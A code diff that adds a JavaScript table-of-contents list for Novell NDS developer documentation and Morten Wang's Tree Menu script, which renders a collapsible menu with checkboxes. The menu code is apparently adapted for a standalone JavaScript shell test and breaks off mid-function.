+top.authors[i] = "zFLDR xC.5375.0500.0011.";
+top.titles[i] = "Index of ASN.1 IDs";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0011.0001.";
+top.titles[i] = "0";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0011.0002.";
+top.titles[i] = "1";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0011.0003.";
+top.titles[i] = "2 through 2.4";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0011.0004.";
+top.titles[i] = "2.5 through 2.9";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0012.";
+top.titles[i] = "Index of LDAP Names";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0001.";
+top.titles[i] = "A through B";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0002.";
+top.titles[i] = "C";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0003.";
+top.titles[i] = "D";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0004.";
+top.titles[i] = "E through F";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0005.";
+top.titles[i] = "G";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0006.";
+top.titles[i] = "H";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0007.";
+top.titles[i] = "I through K";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0008.";
+top.titles[i] = "L";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0009.";
+top.titles[i] = "M";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0010.";
+top.titles[i] = "N";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0011.";
+top.titles[i] = "O";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0012.";
+top.titles[i] = "P";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0013.";
+top.titles[i] = "Q through R";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0014.";
+top.titles[i] = "S";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0015.";
+top.titles[i] = "T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0012.0016.";
+top.titles[i] = "U through Z";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0500.0013.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0400.";
+top.titles[i] = "NDS Iterator Services";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0001.";
+top.titles[i] = "Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0001.";
+top.titles[i] = "Iterator Objects";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0002.";
+top.titles[i] = "Creation of an Iterator Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0003.";
+top.titles[i] = "Iterator Indexes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0004.";
+top.titles[i] = "Positions of an Iterator Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0005.";
+top.titles[i] = "Current Position Movement with Retrieval Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0006.";
+top.titles[i] = "Retrieval of Data";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0001.";
+top.titles[i] = "Creating a Search Iterator Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0002.";
+top.titles[i] = "Retrieving and Unpacking Object and Attribute Name Data";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0003.";
+top.titles[i] = "Retrieving and Unpacking Object, Attribute, and Value Data";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0001.";
+top.titles[i] = "NWDSItrAtEOF";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0002.";
+top.titles[i] = "NWDSItrAtFirst";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0003.";
+top.titles[i] = "NWDSItrClone";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0004.";
+top.titles[i] = "NWDSItrCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0005.";
+top.titles[i] = "NWDSItrCreateList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0006.";
+top.titles[i] = "NWDSItrCreateSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0007.";
+top.titles[i] = "NWDSItrDestroy";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0008.";
+top.titles[i] = "NWDSItrGetCurrent";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0009.";
+top.titles[i] = "NWDSItrGetInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0010.";
+top.titles[i] = "NWDSItrGetNext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0011.";
+top.titles[i] = "NWDSItrGetPosition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0012.";
+top.titles[i] = "NWDSItrGetPrev";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0013.";
+top.titles[i] = "NWDSItrSetPosition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0014.";
+top.titles[i] = "NWDSItrSetPositionFromIterator";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0015.";
+top.titles[i] = "NWDSItrSkip";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0016.";
+top.titles[i] = "NWDSItrTypeDown";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0004.";
+top.titles[i] = "NDS Iterator Example Code";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0001.";
+top.titles[i] = "Cloning an Iterator Object: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0002.";
+top.titles[i] = "Counting with NDS Iterators: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0003.";
+top.titles[i] = "Creating and Using a List Iterator: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0004.";
+top.titles[i] = "Creating a Search Iterator and Displaying the Results: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0005.";
+top.titles[i] = "Getting Iterator Information: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0006.";
+top.titles[i] = "Getting and Setting the Iterator's Position: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0007.";
+top.titles[i] = "Listing in Reverse Order: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0008.";
+top.titles[i] = "Positioning the Iterator with Typedown: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0009.";
+top.titles[i] = "Skipping Objects in the List: Example";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0400.0005.";
+top.titles[i] = "Revision History";
+i++;
+
+
+// Morten's JavaScript Tree Menu
+// written by Morten Wang <morten@treemenu.com> (c) 1998-2000
+// This is version 2.2.6, dated 2000-03-30
+
+// The script is freely distributable
+// It may be used (and modified) as you wish, but retain this message
+// For more information about the menu visit its home page
+// http://www.treemenu.com/
+
+/******************************************************************************
+ * Define the MenuItem object. *
+ ******************************************************************************/
+
+function MTMenuItem(text, url, target,nsearchID, icon) {
+ this.text = text;
+ this.url = url ? url : "";
+ this.target = target ? target : "";
+ this.icon = icon ? icon : "";
+ this.nsearchID = nsearchID;
+
+ this.number = MTMSubNumber++;
+ this.parent = null;
+ this.submenu = null;
+ this.expanded = false;
+ this.selected = false;
+ this.childSelected = false;
+
+ this.MTMakeSubmenu = MTMakeSubmenu;
+
+}
+
+function MTMakeSubmenu(menu) {
+ this.submenu = menu;
+ for (var i = 0; i < menu.items.length; i++)
+ {
+ menu.items[i].parent = this;
+ }
+}
+
+
+
+function getChildrenChecked(item, selected)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ item.submenu.items[x].selected = selected;
+ item.submenu.items[x].childSelected = false;
+ MarkChildren(item.submenu.items[x],selected);
+ }
+ }
+}
+
+/******************************************************************************
+ * Define the Menu object. *
+ ******************************************************************************/
+
+function MTMenu() {
+ this.items = new Array();
+ this.MTMAddItem = MTMAddItem;
+}
+
+function MTMAddItem(item) {
+ this.items[this.items.length] = item;
+}
+
+/******************************************************************************
+ * Define the icon list, addIcon function and MTMIcon item. *
+ ******************************************************************************/
+
+function IconList() {
+ this.items = new Array();
+ this.addIcon = addIcon;
+}
+
+function addIcon(item) {
+ this.items[this.items.length] = item;
+}
+
+function MTMIcon(iconfile, match, type) {
+ this.file = iconfile;
+ this.match = match;
+ this.type = type;
+}
+
+/******************************************************************************
+ * Global variables. Not to be altered unless you know what you're doing. *
+ * User-configurable options are at the end of this document. *
+ ******************************************************************************/
+
+var MTMLoaded = false;
+var MTMLevel;
+var MTMBar = new Array();
+var MTMIndices = new Array();
+var MTMBrowser = null;
+var MTMNN3 = false;
+var MTMNN4 = false;
+var MTMIE4 = false;
+var MTMUseStyle = true;
+
+/*
+ * (For a standalone JS shell test, we will simply set these as follows:)
+ */
+MTMBrowser = true;
+MTMNN4 = true;
+
+
+var MTMClickedItem = false;
+var MTMExpansion = false;
+
+var MTMSubNumber = 1;
+var MTMTrackedItem = false;
+var MTMTrack = false;
+
+var MTMPreHREF = "";
+if(MTMIE4 || MTMNN3) {
+ MTMPreHREF += ""; // document.location.href.substring(0, document.location.href.lastIndexOf("/") +1);
+}
+
+var MTMFirstRun = true;
+var MTMCurrentTime = 0; // for checking timeout.
+var MTMUpdating = false;
+var MTMWinSize, MTMyval;
+var MTMOutputString = "";
+
+/******************************************************************************
+ * Code that picks up frame names of frames in the parent frameset. *
+ ******************************************************************************/
+
+
+/******************************************************************************
+ * Dummy function for sub-menus without URLs *
+ * Thanks to Michel Plungjan for the advice. :) *
+ ******************************************************************************/
+
+function myVoid() { ; }
+
+/******************************************************************************
+ * Functions to draw the menu. *
+ ******************************************************************************/
+
+function MTMSubAction(SubItem, ReturnValue) {
+
+ SubItem.expanded = (SubItem.expanded) ? false : true;
+ if(SubItem.expanded) {
+ MTMExpansion = true;
+ }
+
+ MTMClickedItem = SubItem.number;
+
+ if(MTMTrackedItem && MTMTrackedItem != SubItem.number) {
+ MTMTrackedItem = false;
+ }
+
+ if(!ReturnValue) {
+ setTimeout("MTMDisplayMenu()", 10);
+ }
+
+ return ReturnValue;
+}
+
+
+function MarkChildren(item, selected)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ item.submenu.items[x].selected = selected;
+ item.submenu.items[x].childSelected = false;
+ MarkChildren(item.submenu.items[x],selected);
+ }
+ }
+
+}
+
+function isAllChildrenSelected(item)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (!item.submenu.items[x].selected)
+ {
+ return false;
+ }
+ }
+ }
+ return true;
+}
+
+function isSomeChildrenSelected(item)
+{
+ var retValue = false;
+
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (item.submenu.items[x].selected || item.submenu.items[x].childSelected)
+ {
+ retValue = true;
+ }
+ }
+ }
+
+ return retValue;
+}
+
+function ToggleSelected(item, ReturnValue) {
+
+ item.selected = (item.selected) ? false : true;
+ item.childSelected = false;
+
+ var currentNode = item;
+
+ while (currentNode.parent)
+ {
+ currentNode.parent.selected = isAllChildrenSelected(currentNode.parent);
+ currentNode.parent.childSelected = isSomeChildrenSelected(currentNode.parent);
+ currentNode = currentNode.parent;
+ }
+
+ MarkChildren(item,item.selected);
+
+ if(!ReturnValue) {
+ setTimeout("MTMDisplayMenu()", 10);
+ }
+
+ return ReturnValue;
+}
+
+
+function MTMStartMenu() {
+ MTMLoaded = true;
+ if(MTMFirstRun) {
+ MTMCurrentTime++;
+ if(MTMCurrentTime == MTMTimeOut) { // call MTMDisplayMenu
+ setTimeout("MTMDisplayMenu()",10);
+ } else {
+ setTimeout("MTMStartMenu()",100);
+ }
+ }
+}
+
+function MTMDisplayMenu() {
+ if(MTMBrowser && !MTMUpdating) {
+ MTMUpdating = true;
+ MTMFirstRun = false;
+
+ if(MTMTrack) { MTMTrackedItem = MTMTrackExpand(menu); }
+
+ if(MTMExpansion && MTMSubsAutoClose) { MTMCloseSubs(menu); }
+
+ MTMLevel = 0;
+ MTMDoc = parent.frames[MTMenuFrame].document
+ MTMDoc.open("text/html", "replace");
+ MTMOutputString = '<html><head>';
+ if(MTMLinkedSS) {
+ MTMOutputString += '<link rel="stylesheet" type="text/css" href="' + MTMPreHREF + MTMSSHREF + '">';
+ } else if(MTMUseStyle) {
+ MTMOutputString += '<style type="text/css">body {color:' + MTMTextColor + ';background:';
+ MTMOutputString += (MTMBackground == "") ? MTMBGColor : MTMakeBackImage(MTMBackground);
+ MTMOutputString += ';} #root {color:' + MTMRootColor + ';background:' + ((MTMBackground == "") ? MTMBGColor : 'transparent') + ';font-family:' + MTMRootFont + ';font-size:' + MTMRootCSSize + ';} ';
+ MTMOutputString += 'a {font-family:' + MTMenuFont + ';letter-spacing:-0.05em;font-weight:bold;font-size:' + MTMenuCSSize + ';text-decoration:none;color:' + MTMLinkColor + ';background:' + MTMakeBackground() + ';} ';
+ MTMOutputString += MTMakeA('pseudo', 'hover', MTMAhoverColor);
+ MTMOutputString += MTMakeA('class', 'tracked', MTMTrackColor);
+ MTMOutputString += MTMakeA('class', 'subexpanded', MTMSubExpandColor);
+ MTMOutputString += MTMakeA('class', 'subclosed', MTMSubClosedColor) + '</style>';
+ }
+
+ MTMOutputString += '</head><body ';
+ if(MTMBackground != "") {
+ MTMOutputString += 'background="' + MTMPreHREF + MTMenuImageDirectory + MTMBackground + '" ';
+ }
+ MTMOutputString += 'bgcolor="' + MTMBGColor + '" text="' + MTMTextColor + '" link="' + MTMLinkColor + '" vlink="' + MTMLinkColor + '" alink="' + MTMLinkColor + '">';
+
+ MTMOutputString += '<table border="0" cellpadding="0" cellspacing="0" width="' + MTMTableWidth + '">';
+ MTMOutputString += '<tr valign="top"><td nowrap>'; //REMOVED ROOT ICON <img src="' + MTMPreHREF + MTMenuImageDirectory + MTMRootIcon + '" align="left" border="0" vspace="0" hspace="0">';
+ if(MTMUseStyle) {
+ MTMOutputString += ''; //REMOVED ROOT CAPTION <span id="root">&nbsp;' + MTMenuText + '</span>';
+ } else {
+ MTMOutputString += ''; //REMOVED ROOT CAPTION <font size="' + MTMRootFontSize + '" face="' + MTMRootFont + '" color="' + MTMRootColor + '">' + MTMenuText + '</font>';
+ }
+ MTMDoc.writeln(MTMOutputString + '</td></tr>');
+
+ MTMListItems(menu);
+ MTMDoc.writeln('</table>');
+
+ MTMDoc.writeln('</body></html>');
+ MTMDoc.close();
+
+ if((MTMClickedItem || MTMTrackedItem) && (MTMNN4 || MTMIE4) && !MTMFirstRun) {
+ MTMItemName = "sub" + (MTMClickedItem ? MTMClickedItem : MTMTrackedItem);
+ if(document.layers && parent.frames[MTMenuFrame].scrollbars) {
+ MTMyval = parent.frames[MTMenuFrame].document.anchors[MTMItemName].y;
+ MTMWinSize = parent.frames[MTMenuFrame].innerHeight;
+ } else {
+ MTMyval = MTMGetPos(parent.frames[MTMenuFrame].document.all[MTMItemName]);
+ MTMWinSize = parent.frames[MTMenuFrame].document.body.offsetHeight;
+ }
+ if(MTMyval > (MTMWinSize - 60)) {
+ parent.frames[MTMenuFrame].scrollBy(0, parseInt(MTMyval - (MTMWinSize * 1/3)));
+ }
+ }
+
+ MTMClickedItem = false;
+ MTMExpansion = false;
+ MTMTrack = false;
+ }
+ MTMUpdating = false;
+}
+
+function MTMListItems(menu) {
+ var i, isLast;
+ for (i = 0; i < menu.items.length; i++) {
+ MTMIndices[MTMLevel] = i;
+ isLast = (i == menu.items.length -1);
+ MTMDisplayItem(menu.items[i], isLast);
+
+ if (menu.items[i].submenu && menu.items[i].expanded) {
+ MTMBar[MTMLevel] = (isLast) ? false : true;
+ MTMLevel++;
+ MTMListItems(menu.items[i].submenu);
+ MTMLevel--;
+ } else {
+ MTMBar[MTMLevel] = false;
+ }
+ }
+
+}
+
+function MTMDisplayItem(item, last) {
+ var i, img, more;
+
+ var MTMfrm = "parent.frames['code']";
+ var MTMref = '.menu.items[' + MTMIndices[0] + ']';
+
+ if(item.submenu) {
+ var MTMouseOverText;
+
+ var MTMClickCmd;
+ var MTMDblClickCmd = false;
+
+
+ if(MTMLevel > 0) {
+ for(i = 1; i <= MTMLevel; i++) {
+ MTMref += ".submenu.items[" + MTMIndices[i] + "]";
+ }
+ }
+
+ if(!MTMEmulateWE && !item.expanded && (item.url != "")) {
+ MTMClickCmd = "return " + MTMfrm + ".MTMSubAction(" + MTMfrm + MTMref + ",true);";
+ } else {
+ MTMClickCmd = "return " + MTMfrm + ".MTMSubAction(" + MTMfrm + MTMref + ",false);";
+ }
+
+ if(item.url == "") {
+ MTMouseOverText = (item.text.indexOf("'") != -1) ? MTMEscapeQuotes(item.text) : item.text;
+ } else {
+ MTMouseOverText = "Expand/Collapse";
+ }
+ }
+
+ MTMOutputString = '<tr valign="top"><td nowrap>';
+ if(MTMLevel > 0) {
+ for (i = 0; i < MTMLevel; i++) {
+ MTMOutputString += (MTMBar[i]) ? MTMakeImage("menu_bar.gif") : MTMakeImage("menu_pixel.gif");
+ }
+ }
+
+ more = false;
+ if(item.submenu) {
+ if(MTMSubsGetPlus || MTMEmulateWE) {
+ more = true;
+ } else {
+ for (i = 0; i < item.submenu.items.length; i++) {
+ if (item.submenu.items[i].submenu) {
+ more = true;
+ }
+ }
+ }
+ }
+ if(!more) {
+ img = (last) ? "menu_corner.gif" : "menu_tee.gif";
+ } else {
+ if(item.expanded) {
+ img = (last) ? "menu_corner_minus.gif" : "menu_tee_minus.gif";
+ } else {
+ img = (last) ? "menu_corner_plus.gif" : "menu_tee_plus.gif";
+ }
+ if(item.url == "" || item.expanded || MTMEmulateWE) {
+ MTMOutputString += MTMakeVoid(item, MTMClickCmd, MTMouseOverText);
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + ' onclick="' + MTMClickCmd + '">';
+ }
+ }
+ MTMOutputString += MTMakeImage(img);
+/////////////////////////////////////////
+
+ var MTMCheckRef = '.menu.items[' + MTMIndices[0] + ']';
+ if(MTMLevel > 0) {
+ for(i = 1; i <= MTMLevel; i++) {
+ MTMCheckRef += ".submenu.items[" + MTMIndices[i] + "]";
+ }
+ }
+
+ MTMOutputString += MTMakeVoid(item, "return " + MTMfrm + ".ToggleSelected(" + MTMfrm + MTMCheckRef + ",false);", "Checked Status") ;
+ var checkedImage = item.selected ? "checked.gif" : "uchecked.gif";
+ if (!item.selected)
+ {
+ checkedImage = item.childSelected ? "gchecked.gif" : "uchecked.gif";
+ }
+ MTMOutputString += MTMakeImage(checkedImage);
+ MTMOutputString += '</a>';
+/////////////////////////////////////////////////
+
+
+ if(item.submenu) {
+ if(MTMEmulateWE && item.url != "")
+ {
+ MTMOutputString += '</a>' + MTMakeLink(item, false) + '>';
+ }
+
+ img = (item.expanded) ? "menu_folder_open.gif" : "menu_folder_closed.gif";
+
+ if(!more) {
+ if(item.url == "" || item.expanded) {
+ MTMOutputString += MTMakeVoid(item, MTMClickCmd, MTMouseOverText);
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + ' onclick="' + MTMClickCmd + '">';
+ }
+ }
+ MTMOutputString += MTMakeImage(img);
+
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + '>';
+ img = (item.icon != "") ? item.icon : MTMFetchIcon(item.url);
+ MTMOutputString += MTMakeImage(img);
+ }
+
+ if(item.submenu && (item.url != "") && (item.expanded && !MTMEmulateWE)) {
+ MTMOutputString += '</a>' + MTMakeLink(item, false) + '>';
+ }
+
+ if(MTMNN3 && !MTMLinkedSS) {
+ var stringColor;
+ if(item.submenu && (item.url == "") && (item.number == MTMClickedItem)) {
+ stringColor = (item.expanded) ? MTMSubExpandColor : MTMSubClosedColor;
+ } else if(MTMTrackedItem && MTMTrackedItem == item.number) {
+ stringColor = MTMTrackColor;
+ } else {
+ stringColor = MTMLinkColor;
+ }
+ MTMOutputString += '<font color="' + stringColor + '" size="' + MTMenuFontSize + '" face="' + MTMenuFont + '">';
+ }
+ MTMOutputString += '&nbsp;' + item.text + ((MTMNN3 && !MTMLinkedSS) ? '</font>' : '') + '</a>' ;
+ MTMDoc.writeln(MTMOutputString + '</td></tr>');
+}
+
+function MTMEscapeQuotes(myString) {
+ var newString = "";
+ var cur_pos = myString.indexOf("'");
+ var prev_pos = 0;
+ while (cur_pos != -1) {
+ if(cur_pos == 0) {
+ newString += "\\";
+ } else if(myString.charAt(cur_pos-1) != "\\") {
+ newString += myString.substring(prev_pos, cur_pos) + "\\";
+ } else if(myString.charAt(cur_pos-1) == "\\") {
+ newString += myString.substring(prev_pos, cur_pos);
+ }
+ prev_pos = cur_pos++;
+ cur_pos = myString.indexOf("'", cur_pos);
+ }
+ return(newString + myString.substring(prev_pos, myString.length));
+}
+
+function MTMTrackExpand(thisMenu) {
+ var i, targetPath;
+ var foundNumber = false;
+ for(i = 0; i < thisMenu.items.length; i++) {
+ if(thisMenu.items[i].url != "" && MTMTrackTarget(thisMenu.items[i].target)) {
+ targetPath = parent.frames[thisMenu.items[i].target].location.protocol + '//' + parent.frames[thisMenu.items[i].target].location.host + parent.frames[thisMenu.items[i].target].location.pathname;
+
+ if(targetPath.lastIndexOf(thisMenu.items[i].url) != -1 && (targetPath.lastIndexOf(thisMenu.items[i].url) + thisMenu.items[i].url.length) == targetPath.length) {
+ return(thisMenu.items[i].number);
+ }
+ }
+ if(thisMenu.items[i].submenu) {
+ foundNumber = MTMTrackExpand(thisMenu.items[i].submenu);
+ if(foundNumber) {
+ if(!thisMenu.items[i].expanded) {
+ thisMenu.items[i].expanded = true;
+ if(!MTMClickedItem) { MTMClickedItem = thisMenu.items[i].number; }
+ MTMExpansion = true;
+ }
+ return(foundNumber);
+ }
+ }
+ }
+ return(foundNumber);
+}
+
+function MTMCloseSubs(thisMenu) {
+ var i, j;
+ var foundMatch = false;
+ for(i = 0; i < thisMenu.items.length; i++) {
+ if(thisMenu.items[i].submenu && thisMenu.items[i].expanded) {
+ if(thisMenu.items[i].number == MTMClickedItem) {
+ foundMatch = true;
+ for(j = 0; j < thisMenu.items[i].submenu.items.length; j++) {
+ if(thisMenu.items[i].submenu.items[j].expanded) {
+ thisMenu.items[i].submenu.items[j].expanded = false;
+ }
+ }
+ } else {
+ if(foundMatch) {
+ thisMenu.items[i].expanded = false;
+ } else {
+ foundMatch = MTMCloseSubs(thisMenu.items[i].submenu);
+ if(!foundMatch) {
+ thisMenu.items[i].expanded = false;
+ }
+ }
+ }
+ }
+ }
+ return(foundMatch);
+}
+
+function MTMFetchIcon(testString) {
+ var i;
+ for(i = 0; i < MTMIconList.items.length; i++) {
+ if((MTMIconList.items[i].type == 'any') && (testString.indexOf(MTMIconList.items[i].match) != -1)) {
+ return(MTMIconList.items[i].file);
+ } else if((MTMIconList.items[i].type == 'pre') && (testString.indexOf(MTMIconList.items[i].match) == 0)) {
+ return(MTMIconList.items[i].file);
+ } else if((MTMIconList.items[i].type == 'post') && (testString.indexOf(MTMIconList.items[i].match) != -1)) {
+ if((testString.lastIndexOf(MTMIconList.items[i].match) + MTMIconList.items[i].match.length) == testString.length) {
+ return(MTMIconList.items[i].file);
+ }
+ }
+ }
+ return("menu_link_default.gif");
+}
+
+function MTMGetPos(myObj) {
+ return(myObj.offsetTop + ((myObj.offsetParent) ? MTMGetPos(myObj.offsetParent) : 0));
+}
+
+function MTMCheckURL(myURL) {
+ var tempString = "";
+ if((myURL.indexOf("http://") == 0) || (myURL.indexOf("https://") == 0) || (myURL.indexOf("mailto:") == 0) || (myURL.indexOf("ftp://") == 0) || (myURL.indexOf("telnet:") == 0) || (myURL.indexOf("news:") == 0) || (myURL.indexOf("gopher:") == 0) || (myURL.indexOf("nntp:") == 0) || (myURL.indexOf("javascript:") == 0)) {
+ tempString += myURL;
+ } else {
+ tempString += MTMPreHREF + myURL;
+ }
+ return(tempString);
+}
+
+function MTMakeVoid(thisItem, thisCmd, thisText) {
+ var tempString = "";
+ tempString += '<a name="sub' + thisItem.number + '" href="javascript:parent.frames[\'code\'].myVoid();" onclick="' + thisCmd + '" onmouseover="window.status=\'' + thisText + '\';return true;" onmouseout="window.status=\'' + window.defaultStatus.replace(/'/g,"") + '\';return true;"';
+ if(thisItem.number == MTMClickedItem) {
+ var tempClass;
+ tempClass = thisItem.expanded ? "subexpanded" : "subclosed";
+ tempString += ' class="' + tempClass + '"';
+ }
+ return(tempString + '>');
+}
+
+function MTMakeLink(thisItem, addName) {
+ var tempString = '<a';
+
+ if(MTMTrackedItem && MTMTrackedItem == thisItem.number) {
+ tempString += ' class="tracked"'
+ }
+ if(addName) {
+ tempString += ' name="sub' + thisItem.number + '"';
+ }
+ tempString += ' href="' + MTMCheckURL(thisItem.url) + '"';
+ if(thisItem.target != "") {
+ tempString += ' target="' + thisItem.target + '"';
+ }
+return tempString;
+}
+
+function MTMakeImage(thisImage) {
+ return('<img src="' + MTMPreHREF + MTMenuImageDirectory + thisImage + '" align="left" border="0" vspace="0" hspace="0" width="18" height="18">');
+}
+
+function MTMakeBackImage(thisImage) {
+ var tempString = 'transparent url("' + ((MTMPreHREF == "") ? "" : MTMPreHREF);
+ tempString += MTMenuImageDirectory + thisImage + '")'
+ return(tempString);
+}
+
+function MTMakeA(thisType, thisText, thisColor) {
+ var tempString = "";
+ tempString += 'a' + ((thisType == "pseudo") ? ':' : '.');
+ return(tempString + thisText + '{color:' + thisColor + ';background:' + MTMakeBackground() + ';}');
+}
+
+function MTMakeBackground() {
+ return((MTMBackground == "") ? MTMBGColor : 'transparent');
+}
+
+function MTMTrackTarget(thisTarget) {
+ if(thisTarget.charAt(0) == "_") {
+ return false;
+ } else {
+ for(i = 0; i < MTMFrameNames.length; i++) {
+ if(thisTarget == MTMFrameNames[i]) {
+ return true;
+ }
+ }
+ }
+ return false;
+}
+
+
+
+
+/******************************************************************************
+ * User-configurable options. *
+ ******************************************************************************/
+
+// Menu table width, either a pixel-value (number) or a percentage value.
+var MTMTableWidth = "100%";
+
+// Name of the frame where the menu is to appear.
+var MTMenuFrame = "tocmain";
+
+// variable for determining whether a sub-menu always gets a plus-sign
+// regardless of whether it holds another sub-menu or not
+var MTMSubsGetPlus = true;
+
+
+// variable that defines whether the menu emulates the behaviour of
+// Windows Explorer
+var MTMEmulateWE = true;
+
+// Directory of menu images/icons
+var MTMenuImageDirectory = "/ndk/doc/docui2k/menu-images/";
+
+// Variables for controlling colors in the menu document.
+// Regular BODY atttributes as in HTML documents.
+var MTMBGColor = "#cc0000";
+var MTMBackground = "";
+var MTMTextColor = "white";
+
+// color for all menu items
+var MTMLinkColor = "#ffffcc";
+
+// Hover color, when the mouse is over a menu link
+var MTMAhoverColor = "#FF9933";
+
+// Foreground color for the tracking & clicked submenu item
+var MTMTrackColor ="#FF9933";
+var MTMSubExpandColor = "#ffffcc";
+var MTMSubClosedColor = "#ffffcc";
+
+// All options regarding the root text and it's icon
+var MTMRootIcon = "menu_new_root.gif";
+var MTMenuText = "Site contents:";
+var MTMRootColor = "white";
+var MTMRootFont = "Verdana";
+var MTMRootCSSize = "84%";
+var MTMRootFontSize = "-1";
+
+// Font for menu items.
+var MTMenuFont = "Verdana";
+var MTMenuCSSize = "74%";
+var MTMenuFontSize = "-1";
+
+// Variables for style sheet usage
+// 'true' means use a linked style sheet.
+var MTMLinkedSS = false;
+var MTMSSHREF = "style/menu.css";
+
+// Whether you want an open sub-menu to close automagically
+// when another sub-menu is opened. 'true' means auto-close
+var MTMSubsAutoClose = false;
+
+// This variable controls how long it will take for the menu
+// to appear if the tracking code in the content frame has
+// failed to display the menu. Number if in tenths of a second
+// (1/10) so 10 means "wait 1 second".
+var MTMTimeOut = 25;
+
+/******************************************************************************
+ * User-configurable list of icons. *
+ ******************************************************************************/
+
+var MTMIconList = null;
+MTMIconList = new IconList();
+// examples:
+//MTMIconList.addIcon(new MTMIcon("menu_link_external.gif", "http://", "pre"));
+//MTMIconList.addIcon(new MTMIcon("menu_link_pdf.gif", ".pdf", "post"));
+
+/******************************************************************************
+ * User-configurable menu. *
+ ******************************************************************************/
+
+
+// navigation link is an object used to store the extracted information from
+// the search request. The stored information will be used to build the
+// navigation tree.
+ function navigationLink(title,URL,level,elementIndex,levelIndex,parentIndex,author)
+ {
+ var returnArray = new Array();
+ returnArray.title = title;
+ returnArray.URL = URL;
+ returnArray.level = level;
+ returnArray.hasChild = false;
+ returnArray.elementIndex = elementIndex;
+ returnArray.parentIndex = parentIndex;
+ returnArray.levelIndex = levelIndex;
+ returnArray.author = author;
+
+ return returnArray;
+ }
+
+// Variables used for tracking state as the search iterates through the list
+// of documents returned.
+ var index = 0;
+ var currentLevel = 0;
+ var levelParents = new Array();
+ var levelIndexes = new Array();
+ var navigationTree = new Array();
+ var treeNodes = new Array();
+ var levelIndex = 0;
+ top.printList = "";
+ top.printCount = 0;
+
+// asign the menu handle to the created tree
+ var menu = null;
+
+
+ function getNextChecked(item)
+ {
+ // case that root of tree is selected
+ if ( item.parent == null && item.selected)
+ {
+ for (var i = 0 ; i < top.authors.length; i++)
+ {
+ var re = /\s$/;
+
